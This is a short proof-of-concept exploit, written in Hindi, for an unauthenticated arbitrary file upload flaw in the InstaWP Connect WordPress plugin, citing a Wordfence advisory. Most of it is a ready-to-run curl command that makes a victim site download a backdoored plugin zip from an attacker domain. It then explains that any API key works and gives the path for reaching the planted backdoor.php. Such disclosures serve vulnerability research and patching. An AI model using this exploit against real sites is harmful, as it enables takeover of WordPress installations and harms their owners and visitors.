InstaWP Connect – 1-click WP Staging & Migration <= 0.1.0.22 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड

POC (CURL का उपयोग करके):

curl --data "api_key=123&override_plugin_zip=http://attacker-domain/malicious-plugin.zip" "http://victim-domain/?rest_route=/instawp-connect/v1/config"

api_key -> आप कोई भी वैध या अमान्य API Key का उपयोग कर सकते हैं।
override_plugin_zip -> ज़िप फ़ाइल का पथ जिसमें एक बैकडोर के साथ दुर्भावनापूर्ण WordPress प्लगइन है।

एक बार आयात करने के बाद आप http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php पर बैकडोर तक पहुँच सकते हैं (यह मानते हुए कि निर्देशिका का नाम malicious-plugin है और backdoor.php उस निर्देशिका के अंतर्गत है)

संदर्भ:

• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instawp-connect/instawp-connect-1-click-wp-staging-migration-01022-unauthenticated-arbitrary-file-upload